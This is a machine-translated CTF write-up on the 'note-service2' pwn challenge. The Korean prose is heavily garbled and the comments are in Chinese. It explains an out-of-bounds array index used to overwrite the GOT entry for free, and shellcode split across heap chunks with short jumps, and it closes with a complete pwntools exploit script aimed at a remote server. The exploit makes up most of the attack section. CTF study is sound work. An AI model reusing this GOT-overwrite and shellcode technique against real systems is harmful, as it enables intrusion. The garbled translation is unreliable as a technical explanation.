& 힙 힙 포인터 국경 배열 쉘 코드 | 고급 노트 서비스 2 PWN 공격 영역의 세계

머리말

스택 배경 PWN 문제에 CTF 본 컨테스트 서서히 표제 PWN 타입, 타이틀 서서히 접촉 스택의 주류가되었다 스택이 질문에 배치되고, 스택 포인터, 및 프로그램 실행 흐름 제어를 이용하여, 쉘 코드에 관한 것이다.

아이디어 분석

0x00입니다. 보호 메커니즘을 확인

그림 삽입 설명 여기

Canary found:不能用溢出的方式控制程序执行
NX disabled:堆栈上数据可执行
PIE enabled:地址随机化开启

0x01로. 뷰어 기능

그림 삽입 설명 여기

간단한 메뉴 제목은 추가 델 캔, 표시 및 편집 기능을 사용할 수 없습니다

0x02.ida보기 로직

그림 삽입 설명 여기
그림 삽입 설명 여기
다음 정보를 :

  • 8의 최대 스택 바이트, 그러나 우리는 데이터의 7 바이트에 기록 할 수 있습니다
  • 첨자 스택 포인터가 범위를 벗어

0x03으로. 사용 아이디어

스택 포인터의 경계 (1)의 일부 더미 테이블 엔트리 교체 포인터 GOT
스택 데이터가 수행 될 수 있기 때문에 NX OFF (2) 쉘 코드가 스택에 직접 배치
(3)은 각 스택 블록 7 바이트로 기록 될 수있다 배치 JMP 짧은 XXX 예약 3 바이트 데이터를 4 (\ xeb 기계 코드로되어 대응 짧은 두 바이트 JMP은 1 바이트에 대응하고, 어드레스 짧은 XXX를 JMP XXX하여 현재 위치를 기준으로) 바이트 정렬 쉘 코드.
(4)을 개별적으로 적층 된 복수의 쉘 코드 위쪽에 배치한다.

짧은 XXX를 JMP에서 XXX = 대상 주소 - 현재의 주소 -2

사용 방법

× 00. 선택 기간 쉘 코드가 힙에 배치

mov rdi, xxx   //xxx=&("/bin/sh")  
xor rsi,rsi   //rsi=0,实际可以是mov rsi, 0 但是mov这个命令太长了。下同。占2字节
mov rax, 0x3b //rax=0x3b 占4字节
xor rdx,rdx   //rdx=0 占2字节
syscall //就是syscall调用execve("/bin/sh",0,0)

JMP는 짧은 2 바이트
짧은 xxx는 3 바이트를 JMP

0x01로. 점프에 JMP 짧은 명령은 얼마나 많은 바이트를 계산하는

그림 삽입 설명 여기
chunk0 점프 chunk1에서,
목적지 주소 - 현재 주소 = 8 + 8 + 8 + 2 + 1 = 0x1B
XXX = 0x1B -2-의 0x19 =
즉, 현재의 덩어리에서 점프 JMP 데이터 영역 영역의 다음 청크는,의 0x19 사이의 거리
JMP 짧은 기계 코드로 변환의 0x19 \ xeb \ X19입니다

0x02.shellcode은 ASM 형식으로 변환

asm("xor rsi,rsi")+"\x90\x90\xeb\x19"
asm("mov rax,0x3b")+"\xeb\x19"
asm("xor rdx,rdx")+"\x90\x90\xeb\x19"
asm("syscall").ljust(7,"\x90")

우리는 쓰기 ASM 할 수 없습니다 ( "MOV RDI, ( "/ 빈 / SH ")") 와 같은 지침 , RDI에 직접 "/ bin / sh"과 주소가 아닌

은 0x03. 메카니즘 및 ( "/ 빈 / SH ')에 도달 RDI 통과 64 비트 매개 변수

RDI에 0x02를 알고, 우리는 할 수 직접적으로 "/ bin / sh"과 주소
해결 방법 :

  • 힙 블록 A를 적용에서 "/ 빈 / SH는"는 A에 기록
  • 블록의 스택의 콘텐츠 (즉, "/ 빈 / SH"주소) 자유 파라미터의 함수로서, 상기 제 파라미터는, RDI 내부 때문에 자유로운 전달 부르는 따라서 RDI = ( "/ 빈 / SH ")
  • 순차적으로 쉘 코드를 실행 배열 된 우리의 쉘 코드 힙 블록에 대한 호출 무료 전송 후 프로그램의 기능을 수정하기 위해 무료로 표를 얻었다

를 0x04. 거리 계산 힙의 무료 얻은 고정 주소의 배열의 주소

그림 삽입 설명 여기
그림 삽입 설명 여기
배열 거리가 테이블을 무료로 가지고 : 0x2020A0-0x202018=0x88
0x88의 / = 17 (8) 바이트
배열 첨자 저장 즉 17 무료 주소 테이블을 함께 가지고

.의 0x05 쓰기 특급하려고 :

from pwn import *
r=remote("111.198.29.45",48323)
context(log_level='debug',arch='amd64',os='linux')
def add(index,content):
    r.recvuntil("your choice>>")
    r.sendline("1")
    r.recvuntil("index:")
    r.sendline(str(index))
    r.recvuntil("size:")
    r.sendline("8")
    r.recvuntil("content:")
    r.sendline(content)

def del(index):
    r.recvuntil("your choice>>")
    r.sendline("4")
    r.recvuntil("index:")
    r.sendline(str(index))

add(0,"/bin/sh") //申请堆块写入'/bin/sh'
add(-17,asm("xor rsi,rsi")+"\x90\x90\xeb\x19") //传入&('/bin/sh')并改写got表
add(1,asm("mov eax,0x3b")+"\xeb\x19")
add(2,asm("xor rdx,rdx")+"\x90\x90\xeb\x19")
add(3,asm("syscall").ljust(7,"\x90"))//系统调用

del(0) //这一步我觉得应该是给syscall传参
r.interactive()

참고 블로그 :
공격과 방어 PWN 노트 서비스의 세계
노트 서비스 2의 문제에 대한 세계 PWN 솔루션에서 공격과 방어

게시 된 107 개 원래 기사 · 원의 찬양 (68) · 전망 7776

추천

출처blog.csdn.net/weixin_43092232/article/details/104941534